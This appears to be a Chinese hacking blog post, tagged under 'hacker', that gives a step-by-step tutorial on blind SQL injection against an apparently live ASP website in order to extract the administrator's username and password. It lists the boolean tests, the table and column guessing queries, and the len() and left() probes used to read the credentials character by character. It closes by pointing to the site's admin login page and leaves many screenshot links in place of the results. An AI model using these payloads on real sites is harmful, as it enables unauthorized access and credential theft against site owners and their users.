利用网站报错获取网站管理员账号和密码

标签:
b2管理后台b6ad94a杂谈 |
分类: 黑客 |
1.判断有无注入点
; and 1=1 网页正常
http://s5/middle/6b347b2ag79f31ecc8d64&690
and 1=2
网页返回不正常
2.猜表一般的表的名称无非是admin adminuser user pass password 等..
现在,进行一些测试,看不是为一些常见的表名
先试一试,是否有admin这张表的存在(常见的表名之一)
and 0<>(select count(*) from *)
and 0<>(select count(*) from
admin)
看到显示不正常,说明不存在此表http://s3/middle/6b347b2agc3d3c79a0ac2&690
试一试是否有and 0<>(select count(*) from bas_user_login)
网页返回正常,说明存在bas_user_login表
http://s8/middle/6b347b2agc3d3c8fc02d7&690
3、猜列名,看bas_user_login表是否存在password,发现并不存在列名为Password
http://s1/middle/6b347b2agc3d3ca7f6820&690
看bas_user_login表是否存在user_password,发现存在
http://s8/middle/6b347b2agc3d3cb9eded7&690
再看看bas_user_login表是否存在用户名,name的列
发现,并不存在name的列
http://s3/middle/6b347b2agc3d3cd6269d2&690
再看看bas_user_login表是否存在用户名,user_name的列
发现,并存在user_name的列
http://s7/middle/6b347b2agc3d3ceebcb46&690
4,测试一下,user_name的长度,
and 1=(select count(*)
from bas_user_login where len(user_name)>0)
网页返回正常
http://s1/middle/6b347b2agc3d3d0227ad0&690
and 1=(select count(*) from bas_user_login where
len(user_name)>5)
网页返回不正常,说明,user_name的长度在0=<和<=5之间
http://s8/middle/6b347b2agc3d3d16c7277&690
and 1=(select count(*) from bas_user_login where
len(user_name)>2)
网页返回正常,说明,user_name的长度在2<和<=5之间
http://s13/middle/6b347b2agc3d3d3361e9c&690
and 1=(select count(*) from bas_user_login where
len(user_name)>3)
网页返回不正常,说明,user_name的长度在2<和<=3之间
http://s2/middle/6b347b2agc3d3d5727851&690
and 1=(select count(*) from bas_user_login where len(user_name)=3)
网页返回正常,说明,user_name的长度3
http://s8/middle/6b347b2agc3d3d8536927&690
5、利用其
网站设计时的不严谨,从反馈错误信息中得出账号名
and 1=(select count(*) from bas_user_login where left(user_name,1)>0)从中你可以看出爆出了‘管’
http://s8/middle/6b347b2agc3d3d9ccd6a7&690
http://s7/middle/6b347b2agc3d3db0ea596&690
从中你可以看出爆出了‘管理员’
http://s15/middle/6b347b2agc3d3dc97b14e&690
http://s6/middle/6b347b2agc3d3ddfe9b05&690
http://s9/middle/6b347b2agc3d3df4f8f98&690
http://s13/middle/6b347b2agc3d3e0b01e5c&690
http://s10/middle/6b347b2agc3d3e22618f9&690
http://s16/middle/6b347b2agc3d3e3eecdff&690
从上面可以猜测到user_password的长度为9
http://s5/middle/6b347b2agc3d3e58cef34&690
利用其网站设计时的不严谨,从反馈错误信息中得出账号名
知道user_password的长度为9,猜user_password内容中的第一个内容
http://s8/middle/6b347b2agc3d3e6d57f17&690
http://s8/middle/6b347b2agc3d3e82f0837&690
http://s11/middle/6b347b2agc3d3e993c14a&690
知道user_password的长度为9,猜user_password内容中的如下
http://s4/middle/6b347b2agc3d3eaeab263&690
7/查找其
管理后台:
http://s5/middle/6b347b2ag79fb97a0ee44&690
http://wwXXXXX/admin/default.asp
http://s7/middle/6b347b2agc3d3ee22a266&690
http://s9/middle/6b347b2agc3d3f003c478&690
http://s3/middle/6b347b2agc3d3f18a61e2&690